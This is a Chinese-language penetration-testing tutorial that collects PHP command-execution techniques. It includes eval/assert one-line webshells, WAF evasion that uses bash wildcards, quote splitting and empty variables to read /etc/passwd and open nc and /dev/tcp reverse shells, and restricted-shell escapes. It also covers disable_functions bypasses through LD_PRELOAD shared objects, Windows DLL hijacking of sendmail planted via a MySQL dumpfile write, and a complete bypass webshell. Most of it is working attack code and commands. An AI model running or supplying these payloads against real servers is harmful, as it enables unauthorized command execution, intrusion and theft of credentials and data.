命令执行漏洞进阶详解

0x01 php相关函数

一、代码执行

eval()

1
mixed eval ( string $code )

把字符串code作为php代码执行。常见的一句话木马:

1
2
3
<?php
eval($_GET['pass'])
?>

访问:

1
http://xxx/codeexec.php?pass=phpinfo();

得到phpinfo()页面。

assert()

PHP 5

1
bool assert ( mixed $assertion [, string $description ] )

PHP 7

1
bool assert ( mixed $assertion [, Throwable $exception ] )

assert() 会检查指定的 assertion 并在结果为 FALSE 时采取适当的响应。如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。

一句话木马:

1
2
3
<?php
assert($_GET['pass']);
?>

访问:

1
http://xxx/codeexec.php?pass=phpinfo()

phpinfo()后可以不用分号。得到phpinfo()页面。

preg_replace

1
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

搜索subject中匹配pattern的部分, 以replacement进行替换。当使用被弃用的 e 修饰符时, 这个函数会转义一些字符,在完成替换后,引擎会将结果字符串作为php代码使用eval方式进行评估并将返回值作为最终参与替换的字符串
更详细的说明见:php-preg_replace

call_user_func()

1
mixed call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] )

第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。 传入call_user_func()的参数不能为引用传递。

1
2
3
<?php
call_user_func($_GET['chybeta'],$_GET['ph0en1x']);
?>

访问:

1
http://localhost:2500/codeexec.php?chybeta=assert&ph0en1x=phpinfo()

call_user_func_array()

1
mixed call_user_func_array ( callable $callback , array $param_arr )

把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传入。

1
2
3
<?php
call_user_func_array($_GET['chybeta'],$_GET['ph0en1x']);
?>

访问:

1
http://localhost:2500/codeexec.php?chybeta=assert&ph0en1x[]=phpinfo()

create_function

1
string create_function ( string $args , string $code )

该函数的内部实现用到了eval,所以也具有相同的安全问题。第一个参数args是后面定义函数的参数,第二个参数是函数的代码。

1
2
3
4
5
<?php
$a = $_GET['chybeta'];
$b = create_function('$a',"echo $a");
$b('');
?>

访问:

1
2
http://localhost:2500/codeexec.php
?chybeta=phpinfo();

array_map()

1
array array_map ( callable $callback , array $array1 [, array $... ] )

作用是为数组的每个元素应用回调函数 。其返回值为数组,是为 array1 每个元素应用 callback函数之后的数组。 callback 函数形参的数量和传给 array_map() 数组数量,两者必须一样。

1
2
3
4
<?php
$array = array(0,1,2,3,4,5);
array_map($_GET['chybeta'],$array);
?>

访问:

1
2
http://localhost:2500/codeexec.php
?chybeta=phpinfo

注意没有括号()和分号;

二、系统命令执行

system()

1
string system ( string $command [, int &$return_var ] )

command是要执行的命令。return_var,如果提供 return_var 参数, 则外部命令执行后的返回状态将会被设置到此变量中。

1
2
3
<?php
system("whoami");
?>

会看到运行了shell命令,并打印回显到页面上。

passthru()

1
void passthru ( string $command [, int &$return_var ] )

command是要执行的命令。return_var,如果提供 return_var 参数, Unix 命令的返回状态会被记录到此参数

1
2
3
<?php
passthru("whoami");
?>

exec()

1
string exec ( string $command [, array &$output [, int &$return_var ]] )

exec() 执行 command 参数所指定的命令。 其余参数,见文档

1
2
3
<?php
echo exec("whoami");
?>

pcntl_exec()

1
void pcntl_exec ( string $path [, array $args [, array $envs ]] )

path是可执行二进制文件路径或一个在文件第一行指定了 一个可执行文件路径标头的脚本
args是一个要传递给程序的参数的字符串数组。

1
2
3
<?php
pcntl_exec ( "/bin/bash" , array("whoami"));
?>

shell_exec()

1
string shell_exec ( string $cmd )

cmd是要执行的命令。

1
2
3
<?php
echo shell_exec("whoami");
?>

popen()

1
resource popen ( string $command , string $mode )

打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生。 后面的mode,当为 ‘r’,返回的文件指针等于命令的 STDOUT,当为 ‘w’,返回的文件指针等于命令的 STDIN。

1
2
3
<?php
$handle = popen("/bin/ls", "r");
?>

proc_open()

1
resource proc_open ( string $cmd , array $descriptorspec , array &$pipes [, string $cwd [, array $env [, array $other_options ]]] )

cmd是要执行的命令,其余见文档

`(反单引号)

在php中称之为执行运算符,PHP 将尝试将反引号中的内容作为 shell 命令来执行,并将其输出信息返回(即,可以赋给一个变量而不是简单地丢弃到标准输出,使用反引号运算符“`”的效果与函数 shell_exec() 相同。

1
2
3
<?php
echo `whoami`;
?>

ob_start()

1
bool ob_start ([ callback $output_callback [, int $chunk_size [, bool $erase ]]] )

此函数将打开输出缓冲。当输出缓冲激活后,脚本将不会输出内容(除http标头外),相反需要输出的内容被存储在内部缓冲区中。想要输出存储在内部缓冲区中的内容,可以使用 ob_end_flush() 函数。

可选参数 output_callback 函数可以被指定。 此函数把一个字符串当作参数并返回一个字符串。 当输出缓冲区被( ob_flush(), ob_clean() 或者相似的函数)冲刷(送出)或者被清洗的时候;或者在请求结束之际输出缓冲区内容被冲刷到浏览器的时候该函数将会被调用。 当调用 output_callback 时,它将收到输出缓冲区的内容作为参数 并预期返回一个新的输出缓冲区作为结果,这个新返回的输出缓冲区内容将被送到浏览器。

下面的代码,由于调用了ob_end_flush(),所以会调用ob_start($cmd)中的cmd,把我们输入的$_GET[a]作为cmd的参数。

1
2
3
4
5
6
<?php
$cmd = 'system';
ob_start($cmd);
echo "$_GET[a]";
ob_end_flush();
?>

访问:

1
http://localhost:2500/codeexec.php?a=whoami

php mail()

mail 文档

1
2
3
4
5
6
7
bool mail (
string $to ,
string $subject ,
string $message [,
string $additional_headers [,
string $additional_parameters ]]
)

要使用mail()函数,需要配置对应的服务器等,在php.ini中有两个选项:

  • 配置SMTP服务器的主机名和端口
  • 配置PHP用作邮件传输代理(MTA)的文件路径

当PHP配置了第二个选项时,对该mail()函数的调用将导致执行配置对MTA程序。虽然PHP内部使用escapeshellcmd()用于程序调用,防止新的shell命令注入,但第5个参数$additional_parameters中mail()允许添加的新程序。因此,攻击者可以附加程序标志,在某些MTA中可以创建具有用户控制内容的文件。

0x02 命令执行WAF绕过技巧总结

技巧一:通配符

在bash的操作环境中有一个非常有用的功能,那就是通配符,下面列出一些常用的通配符:

1
2
3
4
5
*    代表『 0 个到无穷多个』任意字符
? 代表『一定有一个』任意字符
[ ] 同样代表『一定有一个在括号内』的字符(非任意字符)。例如 [abcd] 代表『一定有一个字符, 可能是 a, b, c, d 这四个任何一个』
[ - ] 若有减号在中括号内时,代表『在编码顺序内的所有字符』。例如 [0-9] 代表 0 到 9 之间的所有数字,因为数字的语系编码是连续的!
[^ ] 若中括号内的第一个字符为指数符号 (^) ,那表示『反向选择』,例如 [^abc] 代表 一定有一个字符,只要是非 a, b, c 的其他字符就接受的意思。

我们可以使用通配符来执行命令,例如执行命令:

1
2
3
ls -l
使用通配符
/?in/?s -l

使用通配符来执行命令

读取/etc/passwd:

1
2
3
/???/??t /??c/p???w?
有时候WAF不允许使用太多的?号
/?in/cat /?tc/p?sswd

读取/etc/passwd

NC反弹shell:

1
2
3
4
5
6
7
nc -e /bin/bash 127.0.0.1 3737
为了避免符号.我们可以将IP地址转换成整型。
127.0.0.1 → 2130706433

使用通配符

root@kali:~# /??n/?c -e /??n/b??h 2130706433 3737

NC反弹shell

NC反弹shell

技巧二:连接符

在bash的操作环境中还有一个非常有用的功能,那就是连接符,例如:

1
2
3
4
5
6
7
8
root@kali:~# echo hello
hello
root@kali:~# echo h'ello
> '
hello

root@kali:~# echo 'h'ell'o'
hello

你唯一需要注意的就是闭合,这点很重要,利用这个我们可以绕过一些匹配字符串的WAF规则。

读取/etc/passwd:

1
/'b'i'n'/'c'a't' /'e't'c'/'p'a's's'w'd

读取/etc/passwd

获取shell

检测NC:

1
/'b'i'n'/'w'h'i'c'h' 'n'c

检测NC

没有NC的情况检查wget:

1
/'b'i'n'/'w'h'i'c'h' 'w'g'e't

没有NC的情况检查wget

简单粗暴(容易被检查):

1
bash -c 'sh -i &>/dev/tcp/2130706433/3737 0>&1'

其他字符:

1
2
双引号
/"b"i"n"/"w"h"i"c"h" "n"c

其他字符

1
2
反斜杆
/b\i\n/w\h\i\c\h n\c

反斜杆

技巧三:未初始化的bash变量

在bash环境中允许我们使用未初始化的bash变量,如何

1
$a,$b,$c

我们事先并没有定义它们,输出看看:

1
2
3
4
5
6
7
root@kali:~# echo $a

root@kali:~# echo $b

root@kali:~# echo $c

root@kali:~#

未初始化的变量值都是null。

读取/etc/passwd:

1
cat$a /etc$a/passwd$a

读取/etc/passwd

测试WAF

测试代码:

1
2
3
4
<?php
echo "OK";
system('dig '.$_GET['host']);
?>

测试WAF

1
www.baidu.com;$s/bin$s/which$s nc$s

测试代码

反弹shell:

1
/bin$s/nc$s -e /bin$s/bash$s 2130706433 3737

执行:

执行

成功:

成功

总结

本文我们主要利用了bash的通配符、连接符、未初始化的变量三个特性来绕过WAF规则,当然你可能有更好的办法,欢迎大家补充,最后感谢乐于分享的安全研究员们,没他们的分享也不会有这么多技巧出现,谢谢分享。

0x03 Linux Restricted Shell绕过技巧总结

一、什么是Restricted Shell

Restricted Shell既受限的shell,它与一般标准shell的区别在于会限制执行一些行为,比如:

1
2
3
使用 cd 来改变路径
设置或取消SHELL,PATH,ENV,或BASH_ENV变量的值
指定的命令名中包含/

如何设置一个Restricted Shell

我们可以先复制一个bash,然后设置某个用户登录后运行的shell:

1
2
cp /bin/bash  /bin/rbash
useradd -s /bin/rbash zusheng

然后允许不允许什么命令,就可以自行修改了。

二、枚举Linux环境

首先我们需要去检查Linux环境能做什么,这相当于一个收集情报的工作,这个步骤必不可少,有了情报才可以分析下一步骤该如何去做。

命令

检查可用的命令:

如cd、ls、echo等

检查可用的命令

操作符:

1
2
3
4
>
>>
<
|

root身份运行哪些命令:

1
sudo -l

检查shell

1
2
echo $SHELL
基本上都是/bin/rbash

编程语言

检查可用的编程语言,如python、perl、ruby等

编程语言

检查环境变量

运行env或者printenv

三、常见利用技术

“/”字符被允许

如果/被允许,我们可以直接运行:

常见利用技术

允许:

常见利用技术

cp命令被允许

如果cp命令被允许,我们可以直接复制/bin/bash到本用户目录:

cp命令被允许

允许:

cp命令被允许

常见应用

探测系统中是否存在常见应用,如FTP、GDB等

FTP:

1
ftp > !/bin/sh

GDB:

1
gdb > !/bin/sh

常见应用

man/git:

1
2
man > !/bin/sh
git > git help status

常见应用VIM

vim:

1
!/bin/sh 或者 !/bin/bash

VIM

允许情况下:

允许情况下

more/less

1
!'sh'

more/lessmore/less

set shell

在一些编辑器或命令中我们还以为设置shell变量然后执行,比如vim中:

set shellset shell

更改PATH或SHELL环境变量

输入命令

1
export -p

查看

查看

PATH和SHELL变量很可能是’-rx’,这意味着你只能执行不能写入,如果可写,你就可以直接写入/bin/bash。

编程语言

python:

1
python -c 'import os; os.system("/bin/bash")'

php:

1
php -a then exec("sh -i");

perl:

1
perl -e 'exec "/bin/sh";'

lua:

1
os.execute('/bin/sh').

ruby:

1
exec "/bin/sh"

最新技术

ssh:

1
ssh username@IP - t "/bin/sh" or "/bin/bash"

ssh2:

1
ssh username@IP -t "bash --noprofile"

ssh3:

1
ssh username@IP -t "() { :; }; /bin/bash" (shellshock)

ssh4:

1
ssh -o ProxyCommand="sh -c /tmp/yourfile.sh" 127.0.0.1 (SUID)

ZIP:

1
zip /tmp/test.zip /tmp/test -T --unzip-command="sh -c /bin/bash"

tar:

1
tar cf /dev/null testfile --checkpoint=1 --checkpoint-action=exec=/bin/bash

awk:

1
awk 'BEGIN {system("/bin/bash")}'

scp:

1
scp -S ./spellbash.sh 127.0.0.1:/tmp/z.zip ./

scp -S program: 指定加密传输时所使用的程序

我们这个spellbash.sh脚本功能就在于给shell加权限执行

shell代码如下:

1
2
3
4
5
6
7
8
9
10
11
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
int main(int argc, char **argv, char **envp)
{
setresgid(getegid(), getegid(), getegid());
setresuid(geteuid(), geteuid(), geteuid());

execve("/bin/bash", argv, envp);
return 0;
}

pico:

1
2
pico -s "/bin/bash"
然后输入/bin/bash按CTRL + T

四、实战操作

针对于Linux Restricted Shell绕过技巧基本上是介绍到了,接下来就是灵活运用的问题,我这里选择了一个挑战来运用一下文中的一些技术。

连接上机器,经过一番信息收集,我们发现只有vim可以利用一下:

实战操作

尝试

1
2
!/bin/bash
/bin/rbash: /bin/bash: restricted: cannot specify `/' in command names

继续尝试

1
2
set shell=/bin/bash
shell

可以发现我们成功绕过了rbash:

成功绕过了rbash

随后我们发现当前用户没有打开目标文件的权限,sudo -l查看一下能运行哪些命令

1
(app-script-ch14-2) NOPASSWD: /usr/bin/python

我的:

我们以app-script-ch14-2运行python,思路上面也提到了,可以利用python运行bash

1
/usr/bin/sudo -u app-script-ch14-2 /usr/bin/python -c 'import os; os.system("/bin/bash")'

继续sudo -l:

继续sudo -l

tar上面也总结过了:

tar上面也总结过了

接下来套路基本上一样不再演示了。

五、总结

正如我们所看到的,总有一种办法来绕过受限制的shell,这里我介绍了常见的例子,但是安全技术的可能性是无穷无尽,希望更多人能分享一下技巧,最后感谢分享技术的黑客、安全研究人员,没有他们的分享就没有这篇文章。

0x04 实战

一、利用环境变量LD_PRELOAD来绕过php disable_function执行系统命令

1. 前言

在做渗透测试的时候如果遇到安全配置比较好的服务器,当你通过各种途径获得一个php类型的webshell后,却发现面对的是无法执行系统命令的尴尬,因为这类服务器针对命令执行函数做了防范措施,后续的渗透行为都因此而止步。笔者这里分享一个绕过思路,希望你能在实际测试中派上用场。

2. 绕过思路

严苛环境下php设置的disable_function如下:

  • dl
  • exec
  • system
  • passthru
  • popen
  • proc_open
  • pcntl_exec
  • shell_exec

如果你遇到的设置中漏掉某些函数,那再好不过了,直接利用漏掉的函数绕过。但如果运气不太好,遇到这种所有能直接执行系统命令的函数都被禁用的情况,那真是欲哭无泪。想反弹一个cmdshell变成奢望。当然考虑到开发使用等影响因素,一般web环境不应完全禁用。

笔者经过大量资料搜寻,发现在这种情况下还有几种执行系统命令的方法,例如通过/proc/self/mem 修改got来劫持库函数调用以及php反序列化内存破坏漏洞利用,但这些方法利用起来难度都较大,你得先搞清楚内存偏移地址等等知识点,并搭建相同的平台进行调试。而且一般来说安全配置还会严格限制用户的文件权限并设置open_basedir,你根本没有机会去读取mem等文件,很难利用成功。

那么还有没有别的方法?putenv和mail函数给了我们希望,如果系统没有修补bash漏洞,利用网上已经给出的poc:http://www.exploit-db.com/exploits/35146/ 可以轻松绕过。

这个poc大体思路是通过putenv来设置一个包含自定义函数的环境变量,通过mail函数来触发。为什么mail函数能触发,因为mail函数在执行过程中,php与系统命令执行函数有了交集,它调用了popen函数来执行,如果系统有bash漏洞,就直接触发了恶意代码的执行。但一般这种漏洞,安全意识好一点的运维,都会给打上补丁了。

那么我们来继续挖掘一下它的思路,php的mail函数在执行过程中会默认调用系统程序/usr/sbin/sendmail,如果我们能劫持sendmail程序,再用mail函数来触发就能实现我们的目的了。那么我们有没有办法在webshell层来劫持它呢,环境变量LD_PRELOAD给我们提供了一种简单实用的途径。

3. LD_PRELOAD hack


在UNIX的动态链接库的世界中,LD_PRELOAD是一个有趣的环境变量,它可以影响程序运行时的链接,它允许你定义在程序运行前优先加载的动态链接库。如果你想进一步了解这些知识,可以去网上搜索相关文章,这里不做过多解释,直接来看一段例程,就能明白利用原理。

例程:verifypasswd.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!c
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv){
char passwd[] = "password";
if (argc < 2) {
printf("usage: %s <password>/n", argv[0]);
return;
}
if (!strcmp(passwd, argv[1])) {
printf("Correct Password!/n");
return;
}
printf("Invalid Password!/n");
}

程序很简单,根据判断传入的字符串是否等于"password",得出两种不同结果。 其中用到了标准C函数strcmp函数来做比较,这是一个外部调用函数,我们来重新编写一个同名函数:

1
2
3
4
5
6
7
#!c
#include <stdio.h>
#include <string.h>
int strcmp(const char *s1, const char *s2){
printf("hack function invoked. s1=<%s> s2=<%s>/n", s1, s2);
return 0;
}

把它编译为一个动态共享库:

1
2
3
4
#!shell
$ gcc -o verifypasswd.c verifypasswd

$ gcc -shared verifypasswd -o hack.so

通过LD_PRELOAD来设置它能被其他调用它的程序优先加载:

1
2
#!shell
$ export LD_PRELOAD="./hack.so"

运行给出的例程:

1
2
3
4
#!shell
$ ./verifypasswd abcd

$ Correct Password!

我们看到随意输入字符串都会显示密码正确,这说明程序在运行时优先加载了我们自己编写的程序。这也就是说如果程序在运行过程中调用了某个标准的动态链接库的函数,那么我们就有机会通过LD_PRELOAD来设置它优先加载我们自己编写的程序,实现劫持。

4.实战测试


那么我们来看一下sendmail函数都调用了哪些库函数,使用readelf -Ws /usr/sbin/sendmail命令来查看,我们发现sendmail函数在运行过程动态调用了很多标准库函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#!shell
[yiyang@bogon Desktop]$ readelf -Ws /usr/sbin/sendmail

Symbol table '.dynsym' contains 202 entries:
Num: Value Size Type Bind Vis Ndx Name
0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND
1: 0000000000000238 0 SECTION LOCAL DEFAULT 1
2: 0000000000000000 0 FUNC GLOBAL DEFAULT UND getegid@GLIBC_2.2.5 (2)
3: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __errno_location@GLIBC_2.2.5 (2)
4: 0000000000000000 0 FUNC GLOBAL DEFAULT UND pcre_fullinfo
5: 0000000000000000 0 FUNC GLOBAL DEFAULT UND tzset@GLIBC_2.2.5 (2)
6: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strcspn@GLIBC_2.2.5 (2)
7: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __ctype_toupper_loc@GLIBC_2.3 (3)
8: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __ctype_tolower_loc@GLIBC_2.3 (3)
9: 0000000000000000 0 FUNC GLOBAL DEFAULT UND getopt@GLIBC_2.2.5 (2)
10: 0000000000000000 0 FUNC GLOBAL DEFAULT UND socket@GLIBC_2.2.5 (2)
11: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fork@GLIBC_2.2.5 (2)
12: 0000000000000000 0 FUNC GLOBAL DEFAULT UND db_version
13: 0000000000000000 0 OBJECT GLOBAL DEFAULT UND __environ@GLIBC_2.2.5 (2)
14: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strerror@GLIBC_2.2.5 (2)
15: 0000000000000000 0 FUNC GLOBAL DEFAULT UND write@GLIBC_2.2.5 (2)
16: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strchr@GLIBC_2.2.5 (2)
17: 0000000000000000 0 FUNC GLOBAL DEFAULT UND seteuid@GLIBC_2.2.5 (2)
18: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strspn@GLIBC_2.2.5 (2)
19: 0000000000000000 0 FUNC WEAK DEFAULT UND __cxa_finalize@GLIBC_2.2.5 (2)
20: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strlen@GLIBC_2.2.5 (2)
......

从中选取一个合适的库函数后我们就可以进行测试了:

  1. 编制我们自己的动态链接程序。
  2. 通过putenv来设置LD_PRELOAD,让我们的程序优先被调用。
  3. 在webshell上用mail函数发送一封邮件来触发。

我们来测试删除一个新建的文件,这里我们选取geteuid()函数来改造,先在/tmp目录新建一个文件check.txt。

编写hack.c:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void payload() {
system("rm /tmp/check.txt");
}

int geteuid() {
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}

当这个共享库中的geteuid被调用时,尝试加载payload()函数,执行命令。这个测试函数写的很简单,实际应用时可相应调整完善。在攻击机上(注意编译平台应和靶机平台相近,至少不能一个是32位一个是64位)把它编译为一个位置信息无关的动态共享库:

1
2
3
4
#!shell
$ gcc -c -fPIC hack.c -o hack

$ gcc -shared hack -o hack.so

再上传到webshell上,然后写一段简单的php代码:

1
2
3
4
5
#!php
<?php
putenv("LD_PRELOAD=/var/www/hack.so");
mail("a@localhost","","","","");
?>

在浏览器中打开就可以执行它,然后再去检查新建的文件是否还存在,找不到文件则表示系统成功执行了删除命令,也就意味着绕过成功,测试中注意修改为实际路径。 本地测试效果如下:

1
2
3
4
5
6
7
8
9
#!shell
[yiyang@bogon Desktop]$ touch /tmp/check.txt
[yiyang@bogon bin]$ ./php mail.php
sendmail: warning: the Postfix sendmail command has set-uid root file permissions
sendmail: warning: or the command is run from a set-uid root process
sendmail: warning: the Postfix sendmail command must be installed without set-uid root file permissions
sendmail: fatal: setgroups(1, &500): Operation not permitted
[yiyang@bogon bin]$ cat /tmp/check.txt
cat: /tmp/check.txt: No such file or directory

普通用户权限,目标文件被删除。

5. 小结

以上方法在Linux RHEL6及自带邮件服务+php5.3.X以下平台测试通过,精力有限未继续在其他平台测试,新版本可能进行了相应修复。这种绕过行为其实也很容易防御,禁用相关函数或者限制环境变量的传递,例如安全模式下,这种传递是不会成功的。这个思路不仅仅局限于mail函数,你可以尝试追踪其他函数的调用过程,例如syslog等与系统层有交集的函数是否也有类似调用动态共享库的行为来举一反三。

二、 利用mail bypass disable_function 执行命令

最近渗透过程中遇到一个站用了UPUPW_AP5.4来搭建,这个程序是自带了sendmail.exe的,以下是我本地复现的情况:

当时目标站的disable_function是exec,system,passthru,popen,shell_exec ,proc_open,另外目标站做了open_basedir限制,只能访问web目录下面的文件。

在linux下面可以使用pcntl_exec,当然windows下面是没有加载这个扩展的。Google一番发现COM class加载wscript.shell也可以执行命令,然而一样的没有加载这个扩展。

大家都知道在linux上可以用mailbypass disable_fucntion来执行命令,因为linux有LD_PRELOAD这个环境变量可以很方便的注入进程。那么在windows上呢? 当然也是可以。

但是默认情况下sendmail_path在windows中并没有设置,没有值的话是不行的。UPUPW很贴心的给了我们一个sendmail.exe

Windows下面没有LD_PRELOAD怎么办呢?

当然是DLL劫持!

我们来看一下sendmail的导入表。

找到一个不在knowndlls里面的dll,就是它了,wsock32.dll!
由于php的mail函数中的参数5是Additional parameters, 也就是说我们可以给sendmail程序加自定义的命令行!那么思路就是写一个dll解析命令行并且执行命令!

Dll劫持的代码可以由一个小工具Aheadlib来生成,不过生成的代码是不能用的,会有一千多个错误,简单替换一下就能用了,加入自定义代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
int argc = 0;
wchar_t **argv = CommandLineToArgvW(GetCommandLineW(), &argc);
wchar_t *cmd = 0;
wchar_t *outfile = 0;
for (int i = 0; i < argc; i++)
{
if (!lstrcmp(argv[i], L"-c"))
if (i + 1 < argc)
{
cmd = argv[i + 1];
}
if (!lstrcmp(argv[i], L"-o"))
if (i + 1 < argc)
{
outfile = argv[i + 1];
}
}

if (cmd && outfile)
{
DWORD tmp = 0;
HANDLE h = CreateFile(outfile, GENERIC_WRITE, 0, 0, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);

SECURITY_ATTRIBUTES sa;
HANDLE hRead, hWrite;
byte buf[40960] = { 0 };
STARTUPINFOW si;
PROCESS_INFORMATION pi;
DWORD bytesRead;
RtlSecureZeroMemory(&si, sizeof(si));
RtlSecureZeroMemory(&pi, sizeof(pi));
RtlSecureZeroMemory(&sa, sizeof(sa));
int br = 0;
sa.nLength = sizeof(SECURITY_ATTRIBUTES);
sa.lpSecurityDescriptor = NULL;
sa.bInheritHandle = TRUE;
if (!CreatePipe(&hRead, &hWrite, &sa, 0))
{
ExitProcess(0);
}
si.cb = sizeof(STARTUPINFO);
GetStartupInfoW(&si);
si.hStdError = hWrite;
si.hStdOutput = hWrite;
si.wShowWindow = SW_HIDE;
si.lpDesktop = L"WinSta0\\Default";
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
if (!CreateProcessW(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi))
{
CloseHandle(hWrite);
CloseHandle(hRead);
ExitProcess(0);
}
CloseHandle(hWrite);
while (1)
{
if (!ReadFile(hRead, buf + br, 4000, &bytesRead, NULL))
break;
br += bytesRead;
}

WriteFile(h, buf, br, &tmp, 0);
CloseHandle(h);
CloseHandle(hRead);
CloseHandle(pi.hProcess);
ExitProcess(0);
}

代码很简单,执行命令,保存文件,直接加入DllMain就行了。

编译之后生成一个dll,需要把这个dll和原本的wsock32.dll放入sendmail的文件夹。

那么问题来了,我们并没有读写sendmail程序文件夹的权限,怎么办呢。

此时我突然发现php连接的mysql的账号虽然不是root,但是有grant权限。。。

于是给自己grant了全部权限之后,我们就可以使用dumpfile的方式写入文件夹了,类似

1
select unhex(‘xxxxxx’) into dumpfile 'D:\\UPUPW_AP5.4\\sendmail\\wsock32.dll'

这时候你会问为什么不用udf呢?

因为udf需要写入plugin目录,但是这个目录默认情况下不存在。

你会说可以用$INDEX_ALLOCATION啊,但我在本机测试并不行,远程也不行,创建文件夹本地直接提示Access denied,但是却可以创建文件。另外我本地和远程都是NTFS。

这里需要把自己编译的dll和原版wsock32.dll都写进去。

最后使用如下php代码即可执行命令:

1
2
3
4
5
<?php
mail('','','','','-c whoami -o D:\\UPUPW_AP5.4\\htdocs\\1.txt');
echo file_get_contents('1.txt');
unlink('1.txt');
?>

三、无 sendmail 环境下突破 disable_functions 执行命令

遇到用 disable_functions 指示器禁用了所有命令执行函数的站点,借助环境变量 LD_PRELOAD 劫持 /usr/sbin/sendmail 中的系统函数 getuid(),从而不借助 PHP 的各类命令执行函数(如 exec()、system()、dl() 等等)执行系统命令,屡试不爽。
最近实战中遇到一个站,同样无法执行命令

disable_functions 禁用命令执行函数

同时,还禁用了 sendmail,导致之前的惯用法失效:

琢磨了几天,找到一种不依赖 sendmail 的手法:GCC 支持 C 语言规范扩展 attribute((constructor)),让我可以劫持共享对象(或者说,拦劫加载共享对象这一动作),不用劫持某一具体函数,实现执行系统命令。

开箱即用的 webshell 位于 https://github.com/yangyangwithg ... func_via_LD_PRELOAD,包括两个关键文件,bypass_disablefunc.php 和 bypass_disablefunc_x64.so。想法把他两上传至目标,访问http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so

即可执行系统命令:

github: yangyangwithgnu

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";
$cmd = $_GET["cmd"];
$out_path = $_GET["outpath"];
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";
putenv("EVIL_CMDLINE=" . $evil_cmdline);
$so_path = $_GET["sopath"];
putenv("LD_PRELOAD=" . $so_path);
mail("", "", "", "");
echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";
unlink($out_path);
?>

转自:

https://www.freebuf.com/articles/web/185158.html

https://www.freebuf.com/articles/system/188989.html

https://www.t00ls.net/viewthread.php?tid=48303&extra=&page=1

https://www.t00ls.net/viewthread.php?tid=49115&highlight=disable%5C_function

http://drops.xmd5.com/static/drops/tips-16054.html

https://www.leavesongs.com/PENETRATION/PHPMailer-CVE-2016-10033.html

-------------本文结束感谢您的阅读-------------